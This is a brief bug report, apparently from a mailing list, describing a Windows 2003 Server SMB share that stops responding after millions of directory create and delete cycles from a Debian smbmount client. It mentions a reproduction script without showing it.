                              # I've encountered a strange problem mounting a Windows server share.
                              # My setup: Debian Linux, smbmount 3.0.0beta2 and Windows 2003 Server.

                              # When the client creates and deletes a lot of files on the server, the
                              # server suddenly ceases serving, i.e. you can not access files nor list
                              # directory contents any more.
                              # Example:
                              # knoppix:/mnt # ll /mnt/test
                              # ls: /mnt/test: Cannot allocate memory
                              # 
                              # The only way to get the server working again is to reboot it. Rebooting
                              # the client does not help.
                              # 
                              # If you want to try for yourself, check this shell script. The script will
                              # create 1000 directories and then takes turns deleting and re-creating
                              # them. There will be no more than those 1000 directories at any time.
                              # After having created (and deleted) 3.5 millions directories the server
                              # denies access to the share.
